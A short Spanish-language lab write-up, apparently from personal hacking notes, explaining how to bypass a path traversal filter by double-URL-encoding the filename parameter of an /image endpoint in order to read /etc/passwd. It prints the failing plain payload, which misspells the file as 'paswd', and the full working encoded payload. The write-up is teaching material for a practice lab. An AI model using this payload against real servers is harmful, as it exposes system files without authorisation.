> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/path-traversal/bypass-by-double-url-decoding.md).
# Evasión mediante doble decodificación de URL
### Recorrido de rutas de archivo, secuencias de recorrido eliminadas con una decodificación URL superflua
Este laboratorio presenta una vulnerabilidad de recorrido de rutas al mostrar las imágenes generadas. / La aplicación bloquea las secuencias de recorrido en el nombre de archivo proporcionado por el usuario, luego aplica una decodificación URL adicional antes de usar este valor.
El objetivo es leer el contenido de la `/etc/passwd` archivo.
La siguiente carga estándar no funciona:
```bash
../../../../../etc/paswd
```
Para eludir este filtro, una técnica consiste en **codificar la URL dos veces** y enviarlo en el `filename` parámetro de la `/image` punto final:
{% code overflow="wrap" %}
```bash
/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
```
{% endcode %}
---
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